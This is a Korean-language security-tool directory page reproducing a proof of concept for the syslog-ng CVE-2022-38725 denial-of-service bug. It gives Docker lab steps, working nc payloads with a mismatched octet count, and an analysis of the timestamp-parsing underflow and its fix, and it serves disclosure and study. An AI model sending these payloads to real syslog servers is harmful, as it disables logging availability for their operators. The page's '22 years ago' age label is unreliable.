Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/wdahlenburg/cve-2022-38725
Vulnerability AnalysisExploitationNetwork SecurityPenetration TestingLog Analysis
GitHubwdahlenburg/cve-2022-38725

CVE-2022-38725

syslog-ng 대상 CVE-2022-38725 개념 증명

저장소 보기
22년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-38725

CVE-2022-38725는 3.38.1 이전 버전의 syslog-ng에서 발생하는 인증되지 않은 서비스 거부(Denial of Service) 취약점입니다.

https://github.com/syslog-ng/syslog-ng/security/advisories/GHSA-7932-4fc6-pvmc

https://nvd.nist.gov/vuln/detail/CVE-2022-38725

재현 단계

  1. 취약한 docker 이미지를 가져옵니다:
root@kitploit:~
docker pull linuxserver/syslog-ng:3.36.1
  1. 취약한 syslog-ng 컨테이너를 실행합니다. 다른 syslog 구성도 적용할 수 있지만 기본 설정이 취약합니다:
root@kitploit:~
docker run -p 514:5514/udp -p 601:6601/tcp --rm -it linuxserver/syslog-ng:3.36.1
  1. 서버에 페이로드를 전송합니다:
root@kitploit:~
echo '27 <182>2022-08-17T05:02:28.217 mymachine su: 'su root' failed for lonvick on /dev/pts/8' | nc 127.0.0.1 601 -w 1
  1. 취약한 호스트에서 syslog-ng 프로세스의 CPU 사용률이 100%로 급증한 것을 확인할 수 있습니다.

syslog-ng-CVE-2022-38725

분석

3.38.1 릴리스는 이 버그의 유사한 변종을 방지하기 위한 단위 테스트와 여러 검증을 포함하는 https://github.com/syslog-ng/syslog-ng/pull/4110을 링크합니다.

원본 이슈에는 근본 원인을 식별하는 데 도움이 되는 디버깅 정보가 포함되어 있습니다.

GitHub 권고는 이 취약점이 기존 BSD syslog 형식인 RFC3164의 잘못된 파싱으로 인해 발생한다고 주장합니다. 권고는 정수 언더플로(integer underflow)가 발생할 수 있으며 가용성(availability) 외의 영향은 없다고 설명합니다.

취약점을 수정하는 풀 리퀘스트는 RFC3164 및 RFC5424(최신 syslog 형식) 타임스탬프 파서 모두에 단위 테스트를 추가합니다.

RFC3164 사양은 타임스탬프가 Oct 11 22:14:15 형식을 따르도록 정의하는 반면, RFC5424는 ISO 형식인 1985-04-12T19:20:50.52-04:00을 사용합니다. 단위 테스트 사례는 syslog-ng 코드가 두 형식 모두 파싱하려고 시도함을 나타냅니다. GitHub 권고는 취약점이 RFC3164 메시지 파싱 시 발생한다고 주장하지만, 이는 완전히 정확하지 않습니다. 가변 길이 타임스탬프는 RFC5424 메시지에서 비롯됩니다. syslog 프로토콜은 메시지 유형을 명시적으로 지정하지 않기 때문에 syslog-ng 프로젝트는 두 타임스탬프를 모두 파싱하려고 시도했습니다. 이로 인해 타임스탬프가 잘못된 RFC3164 메시지도 취약점을 트리거할 수 있습니다:

root@kitploit:~
echo '21 <182>Oct 11 22:14:15.123 mymachine su: 'su root' failed for lonvick on /dev/pts/8' | nc 127.0.0.1 601 -w 1

syslog 소스는 RFC6587에 설명된 옥텟 카운팅(octet counting)을 사용하며, TCP 메시지에서 전송된 바이트 수를 syslog 메시지 앞에 접두사로 붙입니다.

이 취약점은 ISO 타임스탬프를 완전히 반영하지 않는 메시지 크기를 전송하여 트리거할 수 있습니다. syslog-ng 코드는 타임스탬프를 반복하면서 지정된 길이에서 숫자 개수를 뺍니다. 이러한 불일치로 인해 읽을 데이터가 아직 남아 있는데도 읽기 길이가 음수가 되는 언더플로 조건이 발생할 수 있습니다.

프로세스는 메시지에서 문자를 읽으려고 계속 시도하는 while 루프에 빠지게 됩니다. 이 문제는 해당 프로세스의 CPU 사용률을 100%로 만듭니다. 공격자는 여러 페이로드를 전송하여 추가 시스템 리소스를 소비할 수 있습니다.

Syslog는 UDP에서 옥텟 카운팅을 사용하지 않으므로 위 페이로드는 특별한 영향을 주지 않습니다. syslog-ng 컨테이너/프로세스를 다시 시작하면 CPU 사용률이 초기화됩니다.

추가

syslog-ng 유지보수자 중 한 명은 메시지 전송 중간에 TCP RST를 통해 이 취약점을 트리거할 수 있다고 언급했습니다. TCP RST 이전에 메시지가 부분적인 타임스탬프를 전송해야 한다는 점이 지적되었습니다. 이로 인해 옥텟 카운팅을 우회할 수 있을 수 있습니다.

도구 다운로드